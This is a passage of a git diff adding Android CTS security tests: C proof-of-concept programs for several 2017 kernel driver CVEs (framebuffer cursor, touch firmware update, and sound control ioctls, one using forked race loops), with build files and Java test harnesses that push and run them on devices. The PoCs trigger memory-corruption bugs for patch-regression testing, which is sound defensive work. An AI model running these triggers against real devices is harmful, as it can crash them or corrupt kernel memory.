+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <errno.h>
+#include <asm/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+
+int test_touch_fwu(){
+    char* dev_name = "/dev/touch_fwu";
+    int fd = open(dev_name, O_RDWR);
+
+    if (fd < 0)	{
+	return -1;
+    }
+
+    size_t buf_len = 0xfffff;
+    char* buf = (char*) malloc(buf_len);
+    if (buf == NULL ) {
+	return -1;
+    }
+
+    int ret = 0;
+    ret = write(fd, buf, buf_len);
+    free(buf);
+    return ret;
+}
+
+int main()
+{
+    test_touch_fwu();
+    return 0;
+}
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk
new file mode 100644
index 0000000..494b8c5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0579
+LOCAL_SRC_FILES := poc.c
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact 
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0579/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0579/poc.c
new file mode 100644
index 0000000..5bf4329
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0579/poc.c
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <sys/ioctl.h>
+#include <linux/fb.h>
+#include <stdlib.h>
+#include <string.h>
+
+#define MSMFB_IOCTL_MAGIC 'm'
+#define MSMFB_CURSOR _IOW(MSMFB_IOCTL_MAGIC, 130, struct fb_cursor)
+
+int call_ioctl(int file_desc, unsigned long request, void* param)
+{
+    int ret_val;
+
+    ret_val = ioctl(file_desc,  request, param);
+
+    if (ret_val < 0) {
+	return ret_val;
+    }
+    return ret_val;
+}
+
+int test_mdss_msm_fb(int file_desc)
+{
+    int ret_val;
+    unsigned char* buf = malloc(0x100);
+    struct fb_cursor cursor;
+
+    memset(&cursor, 0, sizeof(struct fb_cursor ));
+
+    cursor.set = FB_CUR_SETIMAGE;
+    cursor.enable = 1;
+    cursor.rop = 0;
+    cursor.mask = 0;
+    cursor.hot.x = 0x100;
+    cursor.hot.y = 0x100;
+    cursor.image.dx = 1439;
+    cursor.image.dy = 2559;
+    cursor.image.width = 0x1000;
+    cursor.image.height = 0x1000;
+    cursor.image.fg_color = 0xff;
+    cursor.image.bg_color = 0xff00;
+    cursor.image.depth = 32;
+    cursor.image.data = malloc(cursor.image.width * cursor.image.height * 0x4 );
+
+    ret_val = call_ioctl(file_desc, MSMFB_CURSOR, &cursor );
+    if(ret_val < 0) {
+	return ret_val;
+    }
+
+    free((void *)cursor.image.data);
+    free(buf);
+
+    return ret_val;
+}
+
+int main()
+{
+    int file_desc, ret_val;
+    const char* DEVICE_FILE_NAME = "/dev/graphics/fb0";
+
+    file_desc = open(DEVICE_FILE_NAME, 0);
+    if (file_desc < 0) {
+	return -1;
+    }
+
+    test_mdss_msm_fb(file_desc);
+
+    close(file_desc);
+
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk
new file mode 100644
index 0000000..6350b07
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0580
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0580/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0580/poc.c
new file mode 100644
index 0000000..0cf518a
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0580/poc.c
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <errno.h>
+#include <asm/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+
+struct firmware {
+    size_t size;
+    const uint8_t *data;
+    void **pages;
+    void *priv;
+};
+
+#define TOUCH_FWU_IOCTL_CODE (0x81)
+#define FW_UPDATE_PROCCESS _IO(TOUCH_FWU_IOCTL_CODE, 1)
+#define FW_FILE_SIZE _IOW(TOUCH_FWU_IOCTL_CODE, 2, uint32_t)
+#define FW_FILE_REQUEST _IO(TOUCH_FWU_IOCTL_CODE, 3)
+#define FW_LOAD_DONE _IO(TOUCH_FWU_IOCTL_CODE, 4)
+#define FW_UPDATE_BYPASS _IO(TOUCH_FWU_IOCTL_CODE, 5)
+
+void ioctl_modify_size_big(){
+    char* dev_name = "/dev/touch_fwu";
+    int fd = open(dev_name,O_RDWR);
+    if (fd < 0){
+	return ;
+    }
+
+    int cout = 1;
+    while(cout){
+	ioctl(fd, FW_FILE_SIZE , 0xffff );
+	ioctl(fd, FW_LOAD_DONE , 0);
+    }
+}
+
+void ioctl_modify_size_small(){
+    char* dev_name = "/dev/touch_fwu";
+    int fd = open(dev_name,O_RDWR);
+    if (fd < 0){
+	return ;
+    }
+
+    int cout = 1;
+    while(cout){
+	ioctl(fd, FW_FILE_SIZE , 0xf );
+	ioctl(fd, FW_LOAD_DONE , 0);
+    }
+}
+
+void ioctl_FW_UPDATE_PROCCESS(){
+    char* dev_name = "/dev/touch_fwu";
+    int fd = open(dev_name,O_RDWR);
+    if (fd < 0){
+	return ;
+    }
+
+    int cout = 1;
+    while(cout){
+	ioctl(fd, FW_UPDATE_PROCCESS , 0);
+    }
+}
+
+
+int main()
+{
+    pid_t pid = fork();
+    if (pid < 0) {
+	return -1;
+    }
+
+    if (0 == pid) {
+	ioctl_modify_size_big();
+    }
+    else {
+	pid_t pid1 = fork();
+	if (0 == pid1) {
+	    ioctl_modify_size_small();
+	}
+	else {
+	    ioctl_FW_UPDATE_PROCCESS();
+	}
+    }
+
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk
new file mode 100644
index 0000000..393bf6c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0586
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0586/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0586/poc.c
new file mode 100644
index 0000000..6e57c93
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0586/poc.c
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+
+typedef int __bitwise snd_ctl_elem_iface_t;
+
+struct snd_ctl_elem_id {
+    unsigned int numid;
+    snd_ctl_elem_iface_t iface;
+    unsigned int device;
+    unsigned int subdevice;
+    unsigned char name[44];
+    unsigned int index;
+};
+
+struct snd_aes_iec958 {
+    unsigned char status[24];
+    unsigned char subcode[147];
+    unsigned char pad;
+    unsigned char dig_subframe[4];
+};
+
+struct snd_ctl_elem_value {
+    struct snd_ctl_elem_id id;
+    unsigned int indirect: 1;
+    union {
+	union {
+	    long value[128];
+	    long *value_ptr;
+	} integer;
+	union {
+	    long long value[64];
+	    long long *value_ptr;
+	} integer64;
+	union {
+	    unsigned int item[128];
+	    unsigned int *item_ptr;
+	} enumerated;
+	union {
+	    unsigned char data[512];
+	    unsigned char *data_ptr;
+	} bytes;
+	struct snd_aes_iec958 iec958;
+    } value;
+    struct timespec tstamp;
+    unsigned char reserved[128-sizeof(struct timespec)];
+};
+
+int main()
+{
+    int fd;
+    int ret;
+    void *map;
+    struct snd_ctl_elem_value arg;
+
+    fd = open("/dev/snd/controlC0", O_RDWR);
+    if(fd < 0){
+	return -1;
+    }
+
+    arg.id.numid = 148;
+    arg.value.enumerated.item[0] = 528;
+
+    ret = ioctl(fd,0xc4c85513,&arg);
+    if(ret < 0){
+	return -1;
+    }
+
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
new file mode 100644
index 0000000..9d1d3d17
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-7369
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SRC_FILES := poc.c
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c b/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c
new file mode 100644
index 0000000..c18936c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c
@@ -0,0 +1,236 @@
+/**

+ * Copyright (C) 2017 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+#define _GNU_SOURCE

+

+#include <string.h>

+#include <stdio.h>

+#include <stdlib.h>

+#include <sys/ioctl.h>

+#include <sys/ptrace.h>

+#include <errno.h>

+#include <sys/syscall.h>

+#include <sys/prctl.h>

+#include <stdint.h>

+#include <sys/stat.h>

+#include <sys/mman.h>

+#include <linux/fb.h>

+#include <dlfcn.h>

+#include <sys/socket.h>

+#include <fcntl.h>

+#include <signal.h>

+#include <unistd.h>

+#include <sound/asound.h>

+#include <sys/types.h>

+#include <sys/wait.h>

+

+#define MAXNUM 94

+#define MAXPCMOP 25

+#define MAXELE 16384

+

+char* CONTBL[MAXNUM]={

+    "comprC0D17",

+    "comprC0D18",

+    "comprC0D37",

+    "comprC0D38",

+    "comprC0D39",

+    "comprC0D40",

+    "comprC0D41",

+    "comprC0D42",

+    "comprC0D9",

+    "controlC0",

+    "hwC0D10",

+    "hwC0D1000",

+    "hwC0D11",

+    "hwC0D12",

+    "hwC0D13",

+    "hwC0D14",

+    "hwC0D15",

+    "hwC0D16",

+    "hwC0D2",

+    "hwC0D20",

+    "hwC0D21",

+    "hwC0D22",

+    "hwC0D24",

+    "hwC0D25",

+    "hwC0D26",

+    "hwC0D3",

+    "hwC0D30",

+    "hwC0D31",

+    "hwC0D35",

+    "hwC0D36",

+    "hwC0D37",

+    "hwC0D39",

+    "hwC0D40",

+    "hwC0D45",

+    "hwC0D7",

+    "hwC0D8",

+    "hwC0D9",

+    "pcmC0D0c",

+    "pcmC0D0p",

+    "pcmC0D10c",

+    "pcmC0D10p",

+    "pcmC0D11c",

+    "pcmC0D11p",

+    "pcmC0D12c",

+    "pcmC0D12p",

+    "pcmC0D13c",

+    "pcmC0D13p",

+    "pcmC0D14c",

+    "pcmC0D14p",

+    "pcmC0D15c",

+    "pcmC0D15p",

+    "pcmC0D16c",

+    "pcmC0D19c",

+    "pcmC0D19p",

+    "pcmC0D1c",

+    "pcmC0D1p",

+    "pcmC0D20c",

+    "pcmC0D20p",

+    "pcmC0D21p",

+    "pcmC0D22c",

+    "pcmC0D22p",

+    "pcmC0D23c",

+    "pcmC0D23p",

+    "pcmC0D24c",

+    "pcmC0D24p",

+    "pcmC0D25c",

+    "pcmC0D26p",

+    "pcmC0D27c",

+    "pcmC0D28c",

+    "pcmC0D29c",

+    "pcmC0D2c",

+    "pcmC0D2p",

+    "pcmC0D30c",

+    "pcmC0D31c",

+    "pcmC0D32c",

+    "pcmC0D33c",

+    "pcmC0D34c",

+    "pcmC0D35c",

+    "pcmC0D35p",

+    "pcmC0D36c",

+    "pcmC0D36p",

+    "pcmC0D3c",

+    "pcmC0D3p",

+    "pcmC0D43c",

+    "pcmC0D44c",

+    "pcmC0D44p",

+    "pcmC0D45c",

+    "pcmC0D45p",

+    "pcmC0D4p",

+    "pcmC0D5c",

+    "pcmC0D5p",

+    "pcmC0D6c",

+    "pcmC0D7p",

+    "pcmC0D8c"

+};

+

+ char* OPPCM[MAXPCMOP]={

+    "/dev/snd/pcmC0D0p",

+    "/dev/snd/pcmC0D10p",

+    "/dev/snd/pcmC0D11p",

+    "/dev/snd/pcmC0D12p",

+    "/dev/snd/pcmC0D13p",

+    "/dev/snd/pcmC0D14p",

+    "/dev/snd/pcmC0D15p",

+    "/dev/snd/pcmC0D19p",

+    "/dev/snd/pcmC0D1p",

+    "/dev/snd/pcmC0D20p",

+    "/dev/snd/pcmC0D21p",

+    "/dev/snd/pcmC0D22p",

+    "/dev/snd/pcmC0D23p",

+    "/dev/snd/pcmC0D24p",

+    "/dev/snd/pcmC0D2p",

+    "/dev/snd/pcmC0D32p",

+    "/dev/snd/pcmC0D33p",

+    "/dev/snd/pcmC0D3p",

+    "/dev/snd/pcmC0D40p",

+    "/dev/snd/pcmC0D41p",

+    "/dev/snd/pcmC0D44p",

+    "/dev/snd/pcmC0D47p",

+    "/dev/snd/pcmC0D4p",

+    "/dev/snd/pcmC0D5p",

+    "/dev/snd/pcmC0D7p"

+};

+

+void poc(char* name)

+{

+    int fd, ret, cmd, index,pcmfd, i;

+    char dev[36]={0};

+    snprintf(dev, sizeof(dev),"/dev/snd/%s", name);

+    fd = open(dev, O_RDWR);

+    if (fd < 0) 

+    {

+        return;

+    }

+

+    cmd = SNDRV_CTL_IOCTL_CARD_INFO;

+    struct snd_ctl_card_info info;

+    ret = ioctl(fd, cmd, &info);

+

+    struct snd_ctl_elem_list lst;

+    struct snd_ctl_elem_value control;

+    memset(&lst, 0, sizeof(lst));

+    lst.pids = calloc(MAXELE, sizeof(struct snd_ctl_elem_list));

+    lst.space = MAXELE;

+    cmd = SNDRV_CTL_IOCTL_ELEM_LIST;

+    ret = ioctl(fd, cmd, &lst);

+    control.value.integer.value[0]=control.value.enumerated.item[0] = 0x80001111;

+

+    for(index=0;(unsigned int)index<lst.count;index++)

+    {

+        if(!strncmp((const char *)lst.pids[index].name,"SLIM_1_TX Channels",18)||

+           !strncmp((const char *)lst.pids[index].name,"SLIM_0_TX Channels",18)||

+           !strncmp((const char *)lst.pids[index].name,"SLIM_6_RX Channels",18)||

+           !strncmp((const char *)lst.pids[index].name,"SLIM_5_RX Channels",18)||

+           !strncmp((const char *)lst.pids[index].name,"SLIM_0_RX Channels",18)||

+           !strncmp((const char *)lst.pids[index].name,"Playback 24 Volume",18)||

+           !strncmp((const char *)lst.pids[index].name,"left Profile",12)||

+           !strncmp((const char *)lst.pids[index].name,"Playback Device Channel Map",27)||

+           !strncmp((const char *)lst.pids[index].name, "LSM",3)||

+           !strncmp((const char *)lst.pids[index].name,"MAD Input",9)||

+           !strncmp((const char *)lst.pids[index].name, "AUDIO_REF_EC_UL",15)||

+           !strncmp((const char *)lst.pids[index].name, "VOC_EXT_EC",10)) continue;

+

+        control.id.numid=lst.pids[index].numid;

+        ret = ioctl(fd,SNDRV_CTL_IOCTL_ELEM_WRITE,&control);

+    }

+    close(fd);

+}

+

+struct mystruct{

+    int a;

+    char* pp;

+};

+

+void freeptr(struct mystruct* p)

+{

+    unsigned char* n = (unsigned char *)p->pp;

+    n = NULL;

+    p->pp = NULL;

+    p = NULL;

+}

+

+int main()

+{

+    int i =0;

+    for(i = 0; i< MAXNUM; i++)

+    {

+        poc("controlC0");

+        break;

+    }

+    return 1;

+}

diff --git a/hostsidetests/security/src/android/security/cts/AdbUtils.java b/hostsidetests/security/src/android/security/cts/AdbUtils.java
index fa9934f..f44870a 100644
--- a/hostsidetests/security/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/security/src/android/security/cts/AdbUtils.java
@@ -16,6 +16,7 @@
 
 package android.security.cts;
 
+import com.android.ddmlib.NullOutputReceiver;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
@@ -59,7 +60,7 @@
     /**
      * Pushes and runs a binary to the selected device
      *
-     * @param pathToPoc a string path to poc from the /res folder
+     * @param pocName a string path to poc from the /res folder
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      * @return the console output from the binary
@@ -73,6 +74,21 @@
     }
 
     /**
+     * Pushes and runs a binary to the selected device and ignores any of its output.
+     *
+     * @param pocName a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     */
+    public static void runPocNoOutput(String pocName, ITestDevice device, int timeout)
+            throws Exception {
+        device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
+        NullOutputReceiver receiver = new NullOutputReceiver();
+        device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout,
+                TimeUnit.SECONDS, 0);
+    }
+
+    /**
      * Pushes and installs an apk to the selected device
      *
      * @param pathToApk a string path to apk from the /res folder
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_12.java b/hostsidetests/security/src/android/security/cts/Poc16_12.java
index a6160d5..7e24e8f 100644
--- a/hostsidetests/security/src/android/security/cts/Poc16_12.java
+++ b/hostsidetests/security/src/android/security/cts/Poc16_12.java
@@ -133,7 +133,8 @@
     @SecurityTest
     public void testPocCVE_2016_8434() throws Exception {
         if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-            AdbUtils.runPoc("CVE-2016-8434", getDevice(), 60);
+            // This poc is very verbose so we ignore the output to avoid using a lot of memory.
+            AdbUtils.runPocNoOutput("CVE-2016-8434", getDevice(), 60);
         }
     }
 
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_02.java b/hostsidetests/security/src/android/security/cts/Poc17_02.java
new file mode 100644
index 0000000..4f22f3b
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_02.java
@@ -0,0 +1,34 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_02 extends SecurityTestCase {
+
+    /**
+     *  b/31796345
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0451() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/voice_svc")) {
+            AdbUtils.runPoc("CVE-2017-0451", getDevice(), 60);
+        }
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_04.java b/hostsidetests/security/src/android/security/cts/Poc17_04.java
new file mode 100644
index 0000000..e89a45a
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_04.java
@@ -0,0 +1,99 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+public class Poc17_04 extends SecurityTestCase {
+
+    /**
+     *  b/33544431
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0576() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/qce")) {
+            AdbUtils.runPoc("CVE-2017-0576", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/34325986
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0580() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/touch_fwu")) {
+            AdbUtils.runPoc("CVE-2017-0580", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/33353601
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0462() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/seemplog")) {
+            AdbUtils.runPoc("CVE-2017-0462", getDevice(), 60);
+	}
+    }
+
+    /**
+     *  b/33842951
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0577() throws Exception {
+      enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/touch_fwu")) {
+            AdbUtils.runPoc("CVE-2017-0577", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/33966912
+     */
+    @SecurityTest
+    public void testPocCVE_2016_10231() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
+            AdbUtils.runPoc("CVE-2016-10231", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/34276203
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0564() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/ion")) {
+            AdbUtils.runPocNoOutput("CVE-2017-0564", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/33649808
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0586() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
+	    AdbUtils.runPoc("CVE-2017-0586", getDevice(), 60);
+	}
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_06.java b/hostsidetests/security/src/android/security/cts/Poc17_06.java
new file mode 100644
index 0000000..e08aa9e
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_06.java
@@ -0,0 +1,67 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
